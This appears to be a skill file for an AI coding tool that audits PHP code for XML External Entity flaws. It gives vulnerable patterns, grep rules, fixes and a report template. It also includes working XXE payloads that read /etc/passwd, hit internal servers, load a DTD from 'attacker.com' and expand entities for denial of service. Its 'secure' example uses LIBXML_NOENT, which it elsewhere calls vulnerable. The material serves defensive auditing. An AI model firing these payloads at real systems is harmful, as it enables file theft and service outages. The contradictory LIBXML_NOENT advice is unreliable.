check-xxe
XXE (XML External Entity) Security Check
Analyze PHP code for XXE vulnerabilities (OWASP A03:2021).
Detection Patterns
1. SimpleXML without Protection
// CRITICAL: User input directly to simplexml
$xml = simplexml_load_string($_POST['xml']);
$xml = simplexml_load_file($_FILES['upload']['tmp_name']);
// CRITICAL: Default options allow entities
$xml = new SimpleXMLElement($userInput);
// VULNERABLE: LIBXML_NOENT enables entity substitution
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
2. DOMDocument External Entities
// CRITICAL: Loading user XML without protection
$doc = new DOMDocument();
$doc->loadXML($_POST['xml']);
$doc->load($_FILES['upload']['tmp_name']);
// CRITICAL: resolveExternals enabled
$doc = new DOMDocument();
$doc->resolveExternals = true;
$doc->loadXML($userXml);
// CRITICAL: substituteEntities enabled
$doc->substituteEntities = true;
3. XMLReader Vulnerabilities
// CRITICAL: XMLReader with user input
$reader = new XMLReader();
$reader->open($_FILES['upload']['tmp_name']);
$reader->XML($_POST['xml']);
// VULNERABLE: setParserProperty for entities
$reader->setParserProperty(XMLReader::SUBST_ENTITIES, true);
4. Missing libxml_disable_entity_loader
// CRITICAL: External entities not disabled (PHP < 8.0)
// libxml_disable_entity_loader(true) should be called
// VULNERABLE: Entity loader enabled
libxml_disable_entity_loader(false);
$xml = simplexml_load_string($userInput);
// Note: In PHP 8.0+, libxml_disable_entity_loader is deprecated
// External entities are disabled by default
5. XSLT Processor Attacks
// CRITICAL: User-provided XSL stylesheet
$xsl = new DOMDocument();
$xsl->load($_FILES['stylesheet']['tmp_name']);
$proc = new XSLTProcessor();
$proc->importStyleSheet($xsl);
$proc->transformToXML($xmlDoc);
// CRITICAL: registerPHPFunctions enabled
$proc->registerPHPFunctions(); // Allows calling PHP functions from XSL
$proc->registerPHPFunctions(['system', 'exec']); // RCE!
6. SOAP Client XXE
// CRITICAL: SOAP with user-controlled WSDL
$client = new SoapClient($_GET['wsdl']);
// CRITICAL: SOAP XML with entities
$client = new SoapClient($wsdl);
$response = $client->__doRequest($userXml, $location, $action, $version);
7. XML-RPC Vulnerabilities
// CRITICAL: xmlrpc_decode with user input
$result = xmlrpc_decode($_POST['data']);
// CRITICAL: xmlrpc_decode_request
$params = xmlrpc_decode_request($rawPost, $method);
8. RSS/Atom Feed Parsing
// CRITICAL: Parsing external feeds
$feed = simplexml_load_file($userProvidedUrl);
// CRITICAL: RSS feed with entities
$rss = new DOMDocument();
$rss->load($_GET['feed_url']);
9. SVG/XML File Upload
// CRITICAL: SVG files can contain XXE
$svg = simplexml_load_file($_FILES['image']['tmp_name']);
// SVG example with XXE:
// <?xml version="1.0"?>
// <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
// <svg>&xxe;</svg>
10. XML in API Requests
// CRITICAL: API accepting XML
$contentType = $_SERVER['CONTENT_TYPE'];
if (strpos($contentType, 'application/xml') !== false) {
$xml = simplexml_load_string(file_get_contents('php://input'));
}
XXE Attack Payloads (for reference)
<!-- Basic file read -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<!-- SSRF via XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server/secret">
]>
<foo>&xxe;</foo>
<!-- Parameter entity for blind XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
<!-- PHP expect wrapper (if enabled) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>
<!-- Billion laughs (DoS) -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>
Grep Patterns
# SimpleXML functions
Grep: "(simplexml_load_string|simplexml_load_file|SimpleXMLElement)\s*\(" --glob "**/*.php"
# DOMDocument loading
Grep: "(loadXML|load)\s*\(" --glob "**/*.php"
# XMLReader
Grep: "XMLReader" --glob "**/*.php"
# XSLT
Grep: "XSLTProcessor|importStyleSheet" --glob "**/*.php"
# SOAP
Grep: "SoapClient|SoapServer" --glob "**/*.php"
# Entity loader status
Grep: "libxml_disable_entity_loader" --glob "**/*.php"
# LIBXML flags
Grep: "LIBXML_NOENT|LIBXML_DTDLOAD" --glob "**/*.php"
Secure Patterns
Disable External Entities
// SECURE: PHP < 8.0
libxml_disable_entity_loader(true);
// SECURE: Use safe LIBXML options
$xml = simplexml_load_string(
$data,
'SimpleXMLElement',
LIBXML_NONET | LIBXML_NOENT
);
// Note: LIBXML_NONET prevents network access
// LIBXML_NOENT = substitute entities, but with loader disabled is safe
DOMDocument Safe Configuration
// SECURE: DOMDocument with protection
$doc = new DOMDocument();
$doc->resolveExternals = false;
$doc->substituteEntities = false;
// PHP 8.0+: External entities disabled by default
// But explicitly set for defense in depth
$doc->loadXML($xml, LIBXML_NONET);
XMLReader Safe Configuration
// SECURE: XMLReader without entity expansion
$reader = new XMLReader();
$reader->open($file);
$reader->setParserProperty(XMLReader::SUBST_ENTITIES, false);
$reader->setParserProperty(XMLReader::LOADDTD, false);
XSLT Safe Configuration
// SECURE: XSLT without PHP functions
$proc = new XSLTProcessor();
// Do NOT call registerPHPFunctions()
$proc->importStyleSheet($trustedXsl);
$result = $proc->transformToXML($xml);
// SECURE: If functions needed, whitelist safe ones only
$proc->registerPHPFunctions(['date', 'number_format']);
Validate XML Before Parsing
// SECURE: Check for DTD declarations
final class SafeXmlParser
{
public function parse(string $xml): SimpleXMLElement
{
// Reject XML with DOCTYPE (potential XXE)
if (preg_match('/<!DOCTYPE/i', $xml)) {
throw new SecurityException('DOCTYPE not allowed');
}
// Reject XML with entity declarations
if (preg_match('/<!ENTITY/i', $xml)) {
throw new SecurityException('ENTITY not allowed');
}
// Safe to parse
libxml_use_internal_errors(true);
$result = simplexml_load_string(
$xml,
'SimpleXMLElement',
LIBXML_NONET
);
if ($result === false) {
throw new ParseException('Invalid XML');
}
return $result;
}
}
Use JSON Instead
// SECURE: Prefer JSON over XML when possible
// XML:
// <user><name>John</name><email>john@example.com</email></user>
// JSON (no XXE risk):
// {"name": "John", "email": "john@example.com"}
$data = json_decode($input, true, 512, JSON_THROW_ON_ERROR);
SVG Sanitization
// SECURE: Sanitize SVG uploads
final class SvgSanitizer
{
public function sanitize(string $svg): string
{
// Remove DOCTYPE
$svg = preg_replace('/<!DOCTYPE[^>]*>/i', '', $svg);
// Remove entity declarations
$svg = preg_replace('/<!ENTITY[^>]*>/i', '', $svg);
// Remove processing instructions
$svg = preg_replace('/<\?xml[^>]*\?>/i', '', $svg);
// Remove script tags
$svg = preg_replace('/<script[^>]*>.*?<\/script>/is', '', $svg);
return $svg;
}
}
Severity Classification
| Pattern | Severity | CWE |
|---|---|---|
| User XML without entity protection | 🔴 Critical | CWE-611 |
| LIBXML_NOENT with user input | 🔴 Critical | CWE-611 |
| XSLT with registerPHPFunctions | 🔴 Critical | CWE-611 |
| SOAP with user WSDL | 🔴 Critical | CWE-611 |
| SVG upload without sanitization | 🟠Major | CWE-611 |
| Missing LIBXML_NONET | 🟡 Minor | CWE-611 |
Output Format
### XXE: [Description]
**Severity:** 🔴 Critical
**Location:** `file.php:line`
**CWE:** CWE-611 (XML External Entity Reference)
**Issue:**
XML is parsed without disabling external entity processing, allowing file disclosure.
**Attack Vector:**
1. Attacker sends XML with external entity
2. Parser fetches file:///etc/passwd
3. File contents returned in response
**Code:**
```php
// Vulnerable
$xml = simplexml_load_string($_POST['xml']);
Fix:
// Secure: Disable entities and network access
$xml = simplexml_load_string(
$_POST['xml'],
'SimpleXMLElement',
LIBXML_NONET
);
// Better: Reject DOCTYPE entirely
if (preg_match('/<!DOCTYPE/i', $_POST['xml'])) {
throw new SecurityException('DOCTYPE not allowed');
}
References:
More from dykyi-roman/awesome-claude-code
psr-overview-knowledge
PHP Standards Recommendations (PSR) overview knowledge base. Provides comprehensive reference for all accepted PSRs including PSR-1,3,4,6,7,11,12,13,14,15,16,17,18,20. Use for PSR selection decisions and compliance audits.
22detect-code-smells
Detects code smells in PHP codebases. Identifies God Class, Feature Envy, Data Clumps, Long Parameter List, Long Method, Primitive Obsession, Message Chains, Inappropriate Intimacy. Generates actionable reports with refactoring recommendations.
15clean-arch-knowledge
Clean Architecture knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for Clean Architecture and Hexagonal Architecture audits.
15ddd-knowledge
DDD architecture knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for Domain-Driven Design audits.
14testing-knowledge
Testing knowledge base for PHP 8.4 projects. Provides testing pyramid, AAA pattern, naming conventions, isolation principles, DDD testing guidelines, and PHPUnit patterns.
12bug-root-cause-finder
Root cause analysis methods for PHP bugs. Provides 5 Whys technique, fault tree analysis, git bisect guidance, and stack trace parsing.
12